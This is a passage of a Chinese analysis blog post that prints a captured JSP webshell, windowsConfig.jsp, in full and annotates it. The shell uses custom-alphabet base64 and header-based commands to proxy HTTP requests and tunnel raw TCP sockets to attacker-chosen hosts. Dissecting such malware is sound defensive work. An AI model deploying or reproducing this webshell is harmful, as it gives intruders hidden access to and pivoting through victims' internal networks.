第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。
序言
第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已沦陷。。。
windowsConfig.jsp分析
<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%> <%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration<InetAddress> addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } %> //上面是定义的函数之类 //下面是我们的代码 <% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List<String> keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->"); } %>
1.1 方法分析
这个马子也是比较精妙的,将一些数据,藏在报文头部,总而言之,整个马,将模仿数据,模仿业务贯穿始终。
b64en
很好理解,本身是一个base64的加密
b64de
则是一个解密
当然,base的表是自己独立的表,也就是所谓的换表加密。
headerkey
static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); }
根据测试,他将首字母变为大写
islocal
是用了java的网络编程,去判断
boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); // 获得本机的所有网络接口 Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); // 获得与该网络接口绑定的 IP 地址,一般只有一个 Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); // 只关心 IPv4 地址 if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip))//获取客户端ip,判断是否为代理 return true; } } return false; }
1.2 内容分析
<% String rUrl = request.getHeader("Mueytrthxaatjpsb"); //获取头部,Mueytrthxaatjpsb 貌似是随机生成的 if (rUrl != null) { //存在的时候,直接base解码 rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); //发送http的一个连接请求, URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); //获取全部头信息 Enumeration enu = request.getHeaderNames(); List<String> keys = Collections.list(enu); //对list进行反转。1,6,2,10 变为 10,2,6,1 Collections.reverse(keys); for (String key : keys){ //不考虑大小写进行比较 if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } //requestContentLength 获取请求的 body 长度,也就相当于访问到 int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ //在返回头中设置 Die:C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } //让content-length 对返回长度进行输出 String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); //cmd 为我们从header中获取的Ffydhndmhhl参数 String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { //从开始到22个字符串,定义为mark String mark = cmd.substring(0,22); //去掉前面的22个字符串,定义为cmd cmd = cmd.substring(22); //response 设置头部 Sbxspawzq,值为CapFLueBCn2ZM response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); //如果我们的cmd 等于b5v9XJbF ,就会进入if中 if (cmd.compareTo("b5v9XJbF") == 0) { try { //target的数组就等于 请求中Nopo的值,然后把Nopo的值进行basede解码,并通过| 竖杠,进行分割 String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); //target 就是我们target数组的第0个 String target = target_ary[0]; //端口是target的第1个参数 int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); //存储到整个应用程序的生命周期之中 application.setAttribute(mark, socketChannel); //设置返回的Sbxspawzq CapFLueBCn2ZM header和值 response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { //如果在socketCHannel建立的过程中报错了,那就会回显如下的值 response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } }//如果cmd等于0FX else if (cmd.compareTo("0FX") == 0) { //获取我们存储在application中的socketChannel SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); //关闭我们打开的socketChannel try{ socketChannel.socket().close(); } catch (Exception e) { } //删除我们的application中存储的值 application.removeAttribute(mark); } //如果我们的cmd 等于 TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ //如上 SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); //从socketChannel中读取数据 //分配了Buffer。从SocketChannel读取到的数据会放到这个Buffer中。 然后,调用SocketChannel.read(buf)。该方法将数据从SocketChannel 读到Buffer中。 read(buf)方法返回的int值,他会表示读了多少字节进Buffer里。 try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; //system.arraycopy多字节的一个数组复制 System.arraycopy(buf.array(), 0, data, 0, bytesRead); //输出,讲我们的data进行加密 out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } //返回头部设置Sbxspawzq :CapFLueBCn2ZM response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { //如果读取失败的话,会返回如下 response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } //如果cmd等于CtWP7tBSKiDnysT9hP9pa } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ //另类的开buff的方式 byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } //针对输入的data进行basede解密 byte[] base64 = b64de(inputData); //bytebuffer的创建 //这种方法的buf缓冲区存储在堆内存中,内存开销在JVM中,受GC影响,会多拷贝一次,因为java程序收到的数据首先被系统内存所获取,然后再拷贝给JVM ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); //flip是非常重要的一个函数,将Buffer从写模式切换到读模式(必须调用这个方法),他就用来切换buffer读写模式的一个函数 buf.flip(); //往SocketChannel写数据 while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->"); } %>
这一部分是NIO-08 java SocketChannel
SocketChannel 是连接到 TCP 网络套接字的 Channel,相当于 Java 网络编程中的 Socket。有两种创建 SocketChannel 的方式:
//前两行是开启一个socketChannel SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); //将SocketChannel设置为非阻塞的 socketChannel.configureBlocking(false);
我们首先做一些前置工作